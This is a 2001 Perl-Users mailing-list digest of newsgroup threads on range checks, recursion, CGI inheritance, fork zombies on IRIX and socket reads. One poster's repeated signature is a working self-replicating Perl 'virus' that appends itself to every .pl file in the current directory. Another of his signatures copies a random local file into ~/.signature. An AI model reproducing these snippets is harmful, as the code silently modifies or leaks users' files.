[18598] in Perl-Users-Digest
Perl-Users Digest, Issue: 766 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Apr 25 18:16:02 2001
Date: Wed, 25 Apr 2001 15:15:20 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988236920-v10-i766@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 25 Apr 2001 Volume: 10 Number: 766
Today's topics:
Re: match a range of number (Anno Siegel)
Re: match a range of number <tony_curtis32@yahoo.com>
Re: match a range of number (Anno Siegel)
Re: match a range of number (Rudolf Polzer)
Re: match a range of number (Rudolf Polzer)
Re: match a range of number (Anno Siegel)
Re: match a range of number (Rudolf Polzer)
Re: match a range of number (Craig Berry)
Re: match a range of number (Abigail)
Re: match a range of number (Eric Bohlman)
Re: match a range of number (Abigail)
Re: match a range of number (Craig Berry)
Re: match a range of number (Anno Siegel)
oop bless problem <jasonh@colubs.com>
Re: perl variables problem <mischief@velma.motion.net>
Re: Printing <Jonathan.L.Ericson@jpl.nasa.gov>
Re: Problems with module PlPRC <weber.m@gmx.de>
Running Command Line Commands <Sh0t2bts@hotmail.com>
SGI IRIX fork() syscall: child process doesn't terminat (Matthew Black)
Re: Sockets, Time-outs, and Alarms (Rudolf Polzer)
Re: sysread, buffers and perl sockets nobull@mail.com
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 25 Apr 2001 18:18:29 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: match a range of number
Message-Id: <9c74dl$9vl$2@mamenchi.zrz.TU-Berlin.DE>
According to DT <same@make-it-online.com>:
> Hi,
>
> Can I use a single matching to do:
>
> (($i > 123) && ($i < 456))
If by "single matching" you mean "123 < $i < 456", no. Few
programming languages support this construct. It's just too
handy to implement comparison as an infix operator.
Anno
------------------------------
Date: 25 Apr 2001 13:22:42 -0500
From: Tony Curtis <tony_curtis32@yahoo.com>
Subject: Re: match a range of number
Message-Id: <87hezcet59.fsf@limey.hpcc.uh.edu>
>> On 25 Apr 2001 18:18:29 GMT,
>> anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) said:
> According to DT <same@make-it-online.com>:
>> Hi,
>>
>> Can I use a single matching to do:
>>
>> (($i > 123) && ($i < 456))
> If by "single matching" you mean "123 < $i < 456", no.
> Few programming languages support this construct. It's
> just too handy to implement comparison as an infix
> operator.
True, but let's go prefix with a sub:
sub in_range {
my ($lo, $v, $hi) = @_;
($lo < $v) && ($v < $hi);
}
if (in_range(123, $i, 456)) { ... }
I'm not sure I'd ever actually do this though.
hth
t
--
Just reach into these holes. I use a carrot.
------------------------------
Date: 25 Apr 2001 19:28:05 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: match a range of number
Message-Id: <9c78g5$dfi$1@mamenchi.zrz.TU-Berlin.DE>
According to Tony Curtis <tony_curtis32@yahoo.com>:
> >> On 25 Apr 2001 18:18:29 GMT,
> >> anno4000@lublin.zrz.tu-berlin.de (Anno Siegel) said:
>
> > According to DT <same@make-it-online.com>:
> >> Hi,
> >>
> >> Can I use a single matching to do:
> >>
> >> (($i > 123) && ($i < 456))
>
> > If by "single matching" you mean "123 < $i < 456", no.
> > Few programming languages support this construct. It's
> > just too handy to implement comparison as an infix
> > operator.
>
> True, but let's go prefix with a sub:
>
> sub in_range {
> my ($lo, $v, $hi) = @_;
> ($lo < $v) && ($v < $hi);
> }
>
> if (in_range(123, $i, 456)) { ... }
Well, it doesn't have the intuitive appeal of the threads of
inequalities mathematicians love, but if you go that way, you
could go a step further and do:
sub strictly_sorted {
@_ > 1 ? $_[ 0] < $_[ 1] && do { shift; &strictly_sorted } : 1;
}
Which does the same for an arbitrary number of arguments.
> I'm not sure I'd ever actually do this though.
Nor am I. Also, it's probably all in List::Util.
Anno
------------------------------
Date: Wed, 25 Apr 2001 21:57:47 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: match a range of number
Message-Id: <slrn9eeb1r.22e.eins@www42.t-offline.de>
Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
> According to DT <same@make-it-online.com>:
> > Hi,
> >
> > Can I use a single matching to do:
> >
> > (($i > 123) && ($i < 456))
>
> If by "single matching" you mean "123 < $i < 456", no. Few
> programming languages support this construct. It's just too
> handy to implement comparison as an infix operator.
Pascal supports
if i in [3..8] then begin ... end;
while 3..8 is a set. But not really because i has to be a small
ordinal type (no float).
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: Wed, 25 Apr 2001 22:24:42 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: match a range of number
Message-Id: <slrn9eecka.5ns.eins@www42.t-offline.de>
Rudolf Polzer <eins@durchnull.de> wrote:
> Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
> > According to DT <same@make-it-online.com>:
> > > Hi,
> > >
> > > Can I use a single matching to do:
> > >
> > > (($i > 123) && ($i < 456))
> >
> > If by "single matching" you mean "123 < $i < 456", no. Few
> > programming languages support this construct. It's just too
> > handy to implement comparison as an infix operator.
>
> Pascal supports
>
> if i in [3..8] then begin ... end;
>
> while 3..8 is a set. But not really because i has to be a small
> ordinal type (no float).
I wanted to say: There are languages that support this.
--
#!/usr/bin/perl -W -- WARNING: This copies a random file from
use strict;my$s;my$n=0;for # the current directory to your
(<*>){++$n;int rand$n or$s # signature file. Use at your
=$_};`cp $s ~/.signature`; # own risk! (c) 2001 Rudolf Polzer
------------------------------
Date: 25 Apr 2001 20:21:30 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: match a range of number
Message-Id: <9c7bka$dfi$4@mamenchi.zrz.TU-Berlin.DE>
According to Rudolf Polzer <eins@durchnull.de>:
> Rudolf Polzer <eins@durchnull.de> wrote:
> > Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
> > > According to DT <same@make-it-online.com>:
> > > > Hi,
> > > >
> > > > Can I use a single matching to do:
> > > >
> > > > (($i > 123) && ($i < 456))
> > >
> > > If by "single matching" you mean "123 < $i < 456", no. Few
> > > programming languages support this construct. It's just too
> > > handy to implement comparison as an infix operator.
> >
> > Pascal supports
> >
> > if i in [3..8] then begin ... end;
> >
> > while 3..8 is a set. But not really because i has to be a small
> > ordinal type (no float).
>
> I wanted to say: There are languages that support this.
Support what? The "123 < $i < 456" syntax? No. Checking if
an integer is in a range in one operation? Perl does that too:
grep $_ == $i, 3 .. 8;
What is your point?
Anno
------------------------------
Date: Wed, 25 Apr 2001 22:41:42 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: match a range of number
Message-Id: <slrn9eedk6.5ns.eins@www42.t-offline.de>
Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
> According to Rudolf Polzer <eins@durchnull.de>:
> > Rudolf Polzer <eins@durchnull.de> wrote:
> > > Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
> > > > According to DT <same@make-it-online.com>:
> > > > > Hi,
> > > > >
> > > > > Can I use a single matching to do:
> > > > >
> > > > > (($i > 123) && ($i < 456))
> > > >
> > > > If by "single matching" you mean "123 < $i < 456", no. Few
> > > > programming languages support this construct. It's just too
> > > > handy to implement comparison as an infix operator.
> > >
> > > Pascal supports
> > >
> > > if i in [3..8] then begin ... end;
> > >
> > > while 3..8 is a set. But not really because i has to be a small
> > > ordinal type (no float).
> >
> > I wanted to say: There are languages that support this.
>
> Support what? The "123 < $i < 456" syntax? No. Checking if
> an integer is in a range in one operation? Perl does that too:
>
> grep $_ == $i, 3 .. 8;
>
> What is your point?
Nothing now. I did not think of grep, and both methods have the same
problem: they work only with integers and make trouble when using big
ranges.
--
#!/usr/bin/perl -W -- WARNING: This copies a random file from
use strict;my$s;my$n=0;for # the current directory to your
(<*>){++$n;int rand$n or$s # signature file. Use at your
=$_};`cp $s ~/.signature`; # own risk! (c) 2001 Rudolf Polzer
------------------------------
Date: Wed, 25 Apr 2001 21:05:40 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: match a range of number
Message-Id: <teef14roi70i5c@corp.supernews.com>
Anno Siegel (anno4000@lublin.zrz.tu-berlin.de) wrote:
: Well, it doesn't have the intuitive appeal of the threads of
: inequalities mathematicians love, but if you go that way, you
: could go a step further and do:
:
: sub strictly_sorted {
: @_ > 1 ? $_[ 0] < $_[ 1] && do { shift; &strictly_sorted } : 1;
: }
:
: Which does the same for an arbitrary number of arguments.
Is there some magic reason you don't need to pass @_ on the recursive
call? I'm almost remembering something like that, but can't quite put my
finger on it.
You can of course avoid the recursion entirely:
sub strictly_sorted {
while (@_ > 1) {
my $e = shift;
return 0 if $e >= $_[0];
}
return 1;
}
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "When the going gets weird, the weird turn pro."
| - Hunter S. Thompson
------------------------------
Date: Wed, 25 Apr 2001 21:17:27 +0000 (UTC)
From: abigail@foad.org (Abigail)
Subject: Re: match a range of number
Message-Id: <slrn9eefn7.5et.abigail@tsathoggua.rlyeh.net>
Anno Siegel (anno4000@lublin.zrz.tu-berlin.de) wrote on MMDCCXCIV
September MCMXCIII in <URL:news:9c78g5$dfi$1@mamenchi.zrz.TU-Berlin.DE>:
()
() Well, it doesn't have the intuitive appeal of the threads of
() inequalities mathematicians love, but if you go that way, you
() could go a step further and do:
()
() sub strictly_sorted {
() @_ > 1 ? $_[ 0] < $_[ 1] && do { shift; &strictly_sorted } : 1;
() }
But that has an ugly case (or if).
sub strictly_sorted {
@_ <= 1 || $_ [0] < $_ [1] && do {shift; &strictly_sorted}
}
Or even:
sub strictly_sorted {
strictly_sorted (scalar (@_), 2) ||
$_ [0] < $_ [1] && strictly_sorted @_ [1 .. $#_];
}
;-)
Abigail
--
sub f{sprintf$_[0],$_[1],$_[2]}print f('%c%s',74,f('%c%s',117,f('%c%s',115,f(
'%c%s',116,f('%c%s',32,f('%c%s',97,f('%c%s',0x6e,f('%c%s',111,f('%c%s',116,f(
'%c%s',104,f('%c%s',0x65,f('%c%s',114,f('%c%s',32,f('%c%s',80,f('%c%s',101,f(
'%c%s',114,f('%c%s',0x6c,f('%c%s',32,f('%c%s',0x48,f('%c%s',97,f('%c%s',99,f(
'%c%s',107,f('%c%s',101,f('%c%s',114,f('%c%s',10,)))))))))))))))))))))))))
------------------------------
Date: 25 Apr 2001 21:19:07 GMT
From: ebohlman@omsdev.com (Eric Bohlman)
Subject: Re: match a range of number
Message-Id: <9c7f0b$4el$2@bob.news.rcn.net>
Craig Berry <cberry@cinenet.net> wrote:
> Anno Siegel (anno4000@lublin.zrz.tu-berlin.de) wrote:
> : Well, it doesn't have the intuitive appeal of the threads of
> : inequalities mathematicians love, but if you go that way, you
> : could go a step further and do:
> :
> : sub strictly_sorted {
> : @_ > 1 ? $_[ 0] < $_[ 1] && do { shift; &strictly_sorted } : 1;
> : }
> :
> : Which does the same for an arbitrary number of arguments.
> Is there some magic reason you don't need to pass @_ on the recursive
> call? I'm almost remembering something like that, but can't quite put my
> finger on it.
Leading ampersand and no parens cause the call to inherit @_ from the
caller.
------------------------------
Date: Wed, 25 Apr 2001 21:21:57 +0000 (UTC)
From: abigail@foad.org (Abigail)
Subject: Re: match a range of number
Message-Id: <slrn9eefvl.5et.abigail@tsathoggua.rlyeh.net>
Rudolf Polzer (eins@durchnull.de) wrote on MMDCCXCIV September MCMXCIII
in <URL:news:slrn9eedk6.5ns.eins@www42.t-offline.de>:
}} Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
}} >
}} > Support what? The "123 < $i < 456" syntax? No. Checking if
}} > an integer is in a range in one operation? Perl does that too:
}} >
}} > grep $_ == $i, 3 .. 8;
}} >
}} > What is your point?
}}
}} Nothing now. I did not think of grep, and both methods have the same
}} problem: they work only with integers and make trouble when using big
}} ranges.
The DGD implementation of LPC supports:
switch (i) {
case 1 .. 10000000: do_something ();
}
without any sweat.
Abigail
--
print 74.117.115.116.32;
print 97.110.111.116.104.101.114.32;
print 80.101.114.108.32;
print 72.97.99.107.101.114.10;
------------------------------
Date: Wed, 25 Apr 2001 21:43:20 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: match a range of number
Message-Id: <teeh7ofs4jft6e@corp.supernews.com>
Eric Bohlman (ebohlman@omsdev.com) wrote:
: > Is there some magic reason you don't need to pass @_ on the recursive
: > call? I'm almost remembering something like that, but can't quite put my
: > finger on it.
:
: Leading ampersand and no parens cause the call to inherit @_ from the
: caller.
Thanks! That was going to drive me crazy. Couldn't find it in the docs.
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "When the going gets weird, the weird turn pro."
| - Hunter S. Thompson
------------------------------
Date: 25 Apr 2001 21:56:22 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: match a range of number
Message-Id: <9c7h66$j5t$5@mamenchi.zrz.TU-Berlin.DE>
According to Craig Berry <cberry@cinenet.net>:
> Anno Siegel (anno4000@lublin.zrz.tu-berlin.de) wrote:
> : Well, it doesn't have the intuitive appeal of the threads of
> : inequalities mathematicians love, but if you go that way, you
> : could go a step further and do:
> :
> : sub strictly_sorted {
> : @_ > 1 ? $_[ 0] < $_[ 1] && do { shift; &strictly_sorted } : 1;
> : }
> :
> : Which does the same for an arbitrary number of arguments.
>
> Is there some magic reason you don't need to pass @_ on the recursive
> call? I'm almost remembering something like that, but can't quite put my
> finger on it.
That has been answered.
> You can of course avoid the recursion entirely:
Yes. I'm just back from a journey to lisp land and still have
that accent. Also, I *wanted* an opportunity to use the
ampersand/no-arguments call once in my life.
Anno
------------------------------
Date: Wed, 25 Apr 2001 14:56:03 -0700
From: "Jason Hurst" <jasonh@colubs.com>
Subject: oop bless problem
Message-Id: <3ae747f8$0$151@wodc7nh7.news.uu.net>
I'm relatively new to oop and I'm having some problems with inheritance.
I'm trying to make a little module to make it easy to save state to a
database over cgi.. I'm extending from cgi.pm.
When i create a new object, i define it as a new cgi
my $self = new CGI;
but when i bless it, i can't access any of the cgi methods???
i have cgi defined in my @ISA and its included. I just don't get it. Here
is the program that i have written thus far:
http://www.colubs.com/saveStateDB.pm
What i'm talking about here is in the new sub.. Am i missing something with
the inheritance? Thanks for the help.
(BTW, the first error message i get when i try to instantiate a new
saveStateDB object is:
Can't locate object method "cookie" via package "main" at
c:/wwwroot/cgi-bin/perllib/saveStateDB.pm line 64.) It almost looks like
its not trying to go through the @ISA array to me...??
-jason
------------------------------
Date: Wed, 25 Apr 2001 21:42:34 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: perl variables problem
Message-Id: <teeh6a61jmih57@corp.supernews.com>
Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
> According to Sylvain Thevoz <sylvain.thevoz@mcnet.ch>:
>> I have a file which contents:
>> $a Mr. Smith, how do you do?
> Avoid the use of variables $a and $b. See perldoc -f sort for why.
>> I have a perl file which contents:
>> $a = "good morning";
>> open(FILE, "file.lst");
>> while (<FILE>)
>> {
>> $out .= $_;
>> }
>> print $out;
>>
>> My problem:
>> when I execute the perl file, it prints "$a Mr. Smith, how do you do?"
>>
>> But I want to print "good morning Mr. Smith, how do you do?"
> Didn't we have this exact question last week?
> Here is one way to do what you want:
> my $line = '$x Mr. Smith, how do you do?';
> my $x = 'Good morning';
> print $line, ' -> ', eval "qq/$line/", "\n";
> Prints:
> $x Mr. Smith, how do you do? -> Good morning Mr. Smith, how do you do?
> While this is probably more or less what you had in mind with your
> code, it is insecure, as always when you use string eval with data
> that come from outside your program. If someone changed your file
> to read "$x Mr./Ms. Smith, how do you do?" your program will crash,
> and there are worse things that could happen.
> A safer way to accomplish the same thing is to use a substitution
> operator: "$line =~ s/\$x/$x/g". Of course, now there is no need
> to name the bit that has to be substituted like the Perl variable
> that contains the substitution, any unique string would do. This
> further decouples the program from the data, which is a good thing.
...but you don't have to eval the whole thing. You don't really even
have to eval anything from the file.
s/\$a/$a/;
Chris
--
Try not. Do, or do not. The Force is binary. -- Yoda,
The Empire Strikes Back (paraphrased)
------------------------------
Date: 25 Apr 2001 18:54:51 +0000
From: Jon Ericson <Jonathan.L.Ericson@jpl.nasa.gov>
Subject: Re: Printing
Message-Id: <86g0ewdd38.fsf@jon_ericson.jpl.nasa.gov>
obscuremu@riftsmux.dhs.org writes:
> OK.. Here is a newbie question that I can't seem to find the answer to.
Probably because you haven't looked in the right places.
> How do you send a text file to the printer queue in win98(etc) via perl?
Have you tried search.cpan.org? It lists a number of Win32::*
modules, one or more of which might help you out. At the very least,
I imagine you could call the Windows API for printing, perhaps with XS
or Inline.
Jon
------------------------------
Date: Wed, 25 Apr 2001 21:58:50 +0200
From: "Mathias-H. Weber" <weber.m@gmx.de>
Subject: Re: Problems with module PlPRC
Message-Id: <3AE72C7A.BE5721D@gmx.de>
nobull@mail.com wrote:
>
> matthias@jaekle.net writes:
>
> > "Mathias-H. Weber" wrote:
> > >
> > > I tried to install Bundle::PlRPC. Everything went fine up to "make test"
> > > of module "PlRPC-0.2015". The error message is not very valuable ("Use
> > > of uninitialized value in concatenation (.)") - the problem is deeper
> > > and may have something to do with incorrect usage of Sys::Syslog.
>
> Actually this sounds suspiciously like bug that I found in Sys::Syslog
> itself.
>
> > > I have tried hard to find the problem with "make test" but did not
> > > succeed. Has anybody used/installed this module recently and give some
> > > hints?
>
> > I ignored the error message and made a "make install" and everything was
> > working fine.
>
> I found and fixed the error in Sys::Syslog and posted the patch to
> bugs.perl.org (BugID 20010308.001). It is currently still listed as
> open which seems odd for a bug with realively high impact and a
> trivial fix.
>
Puh - two days of frustrating debugging of forking scripts :-(
And a missing pair of parenthesis cured the problem! Thanks for your
advice! After having read your mail I found the problem already
documented (deeply burried) in the POD of Net::Daemon!
As I wrote I got the software running without the fix in Sys::Syslog but
I do not want to develop software based on modules that do not install
properly. I hope a new release of Sys::Syslog will come out soon so that
I can use this very impressing module PlPRC without further worries.
> Interestingly the last time I answered this question here (2001-03-14)
> it was asked by yet another Mathias. What is it about PlRPC that
> makes it so attractive to people called Mathias?
>
Indeed that is interesting. There definitely must be some subconcious
attraction which I will turn all my attention to - as soon as I have the
time for it.
--
Mathias-H.Weber mailto:weber.m@gmx.de
------------------------------
Date: Wed, 25 Apr 2001 22:44:51 +0100
From: "Sh0t2Bts" <Sh0t2bts@hotmail.com>
Subject: Running Command Line Commands
Message-Id: <szHF6.2314$wd6.13798@news11-gui.server.ntli.net>
Hi All,
I am a Intranet Developer "Just Starting" I use two Linux RH6.0 machines at
work, which host the Company Intranet
The problem I have is that at home I only have 1 PC, Win 98 SE, with apache
installed,
The apache server workes fine
When it comes to running cgi scripts again all works fine until I try to use
command line commands
The the scripts works but it does not exeute the command line commands. I
use the following two:-
system("mv $dirname/$line
../testfiles/finished/@dirmeanings[$b]_20010425.html");
system("rm $dirname/$line -f");
I know that MV & RM are both Linux commands but as so is apache I though
that this would work...
I few things that I though it could be was the rights on the files I am
trying to move ar set to Read and Execute only!
The dircectory I am trying to write to again is only Read only.
If this is true how do I change the rights in Windows??
If this is not the case could someone please advise another way round
this???
Thanks in Advance
Mark
------------------------------
Date: 25 Apr 2001 21:52:17 GMT
From: black@csulb.edu (Matthew Black)
Subject: SGI IRIX fork() syscall: child process doesn't terminate after exit
Message-Id: <9c7guh$f2q$1@hatathli.csulb.edu>
PROBLEM:
We are having trouble with the fork() system call in Perl. When a
child process exits, the process lingers as <defunct> rather than
disappearing. These lingering <defunct> processes disappear only after
the parent process gets terminated.
This problem was observed on our
Origin 200 systems running IRIX 6.5.x (6.5.10m and 6.5.6m).
It did NOT occur with a Challenge S running IRIX 6.2.
I've attached the relevant code from a file named fork-test.pl.
It can be run from the shell by simply typing "./fork-test.pl".
I ran this program on my X-terminal to monitor the output in one
window and the process status in a second.
Is fork() broken under IRIX 6.5?
# perl -v
This is perl, v5.6.1 built for IP27-irix
> perl -v
This is perl, version 5.004_04 built for irix-n32
matthew black
network services
california state university, long beach
--- SCREEN 1: RUNNING THE PROGRAM ------------------------------------------
postman 6# ./fork-test.pl
Parent process 5918279 here to test perl fork() function.
[PARENT] About to fork()...
[CHILD] here with PID 6120522
[CHILD] sleeping 10 seconds...
[PARENT] Child process is 6120522
[PARENT] returning
[CHILD] exiting...
[PARENT] About to fork()...
[CHILD] here with PID 6129264
[CHILD] sleeping 10 seconds...
[PARENT] Child process is 6129264
[PARENT] returning
[CHILD] exiting...
[PARENT] About to fork()... (typed ^C here to abort)
--- SCREEN 2: PROCESS LISTING ----------------------------------------------
NOTE: 5918279 is the master PID from screen 1.
postman 37# ps -aef | grep 5918279
root 5918279 5943761 0 09:24:58 pts/2 0:00 /usr/sbin/perl
./fork-test.pl
root 6120522 5918279 0 - - 0:00 <defunct>
root 6128101 5973232 0 09:25:23 pts/1 0:00 grep 5918279
root 6129264 5918279 0 09:25:17 pts/2 0:00 /usr/sbin/perl
./fork-test.pl
--- SOURCE CODE ------------------------------------------------------------
#!/usr/local/bin/perl
#
# FORK-TEST.PL
# Runs endlessly...terminate with CONTROL-C.
# Make sure your shell supports that: stty -intr ^C
print "Parent process $$ here to test perl fork() function.\n";
print "\n";
while (-1) {
print "\n[PARENT] About to fork()...\n";
sleep 3;
forktest();
sleep 12;
}
exit;
sub forktest {
FORK: {
if ($pid = fork) {
# parent here
# child process pid is $pid
print "[PARENT] Child process is $pid\n";
print "[PARENT] returning\n";
}
elsif (defined $pid) { # $pid is zero here if defined
# child here
# parent process pid available with getppid
print "[CHILD] here with PID $$\n";
print "[CHILD] sleeping 10 seconds...\n";
sleep 10;
print "[CHILD] exiting...\n";
exit;
}
elsif ($! =~ /No more processes/) {
# EAGAIN, supossedly recoverable fork error
print "EAGAIN error\n" if $opt_d;
sleep 5;
redo FORK;
}
else {
# other fork error
print "FORK ERROR!\n" if $opt_d;
}
}
return;
}
--- END OF NH-010425-01 ----------------------------------------------------
------------------------------
Date: Wed, 25 Apr 2001 19:48:46 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Sockets, Time-outs, and Alarms
Message-Id: <slrn9ee3fu.dfo.eins@www42.t-offline.de>
nobull@mail.com <nobull@mail.com> wrote:
> Anyhow I can't recall for sure but I think ignored signals don't
> interrupt system calls.
Sorry for this stupid question but is it possible in C to ignore
signals without using a procedure that does nothing? I mean:
is
$SIG{USR1} = "IGNORE";
fully equivalent to
$SIG{USR1} = sub { };
?
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: 25 Apr 2001 19:26:09 +0100
From: nobull@mail.com
Subject: Re: sysread, buffers and perl sockets
Message-Id: <u9oftkkf9a.fsf@wcl-l.bham.ac.uk>
natalie.prowse@ecruiter.nospam.com writes:
> I've slogged through the perl docs, but I can't find any info on this.
That's likely because this has nothing whatever to do with Perl -
you'd see exactly the same symptoms using low-level TCP/IP socket
operations in any language.
> I use syswrite and sysread because I have to read a header, and then
> determine the number of bytes of data to read from that.
I do not understand your use of "because" above. Can you explain why
you use syswrite() and sysread() not print() and read()?
> I have used autoflush, and a variety of other techniques, and I still end up
> with the data read ONLY returning 1424 bytes.
Sounds suspiciously like the default payload size for a TCP/IP packet
running over Ethernet to me.
> EVERY TIME, *EXCEPT* if I "step" through the script in debug mode.
It is not the debugging that's significant, it's the delay. Try
putting sleep(10) in front of the sysread() and see what happens.
> I'm sure it is some simple but esoteric issue with buffering or
> flushing but I can't seem to find any docs on it.
Since you are reading using sysread() I hope you realise that the
buffering you are talking about here are the OS buffers! Did you look
in docs that describe low-level socket programming on your OS?
> Any ideas?
A TCP/IP socket byte-oriented file-like thing.... I can't recall the
technical term - it might be stream, then again it might not.
You cannot safely make any assumptions about how many bytes come back
in each sysread() except that it'll be not more than the number
specified in the length argument and it'll be more than zero unless
there's an EOF condition.
Each time you call sysread() you get back as much as you've asked for
or whatever has arrived so far over the network (blocking, unless
otherwise specified, until there is something).
This means if you call sysread() when there's nothing in the OS
recieve buffer you can probably expect to get only the contents of the
first network packet.
Try changing sysread() to read().
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 766
**************************************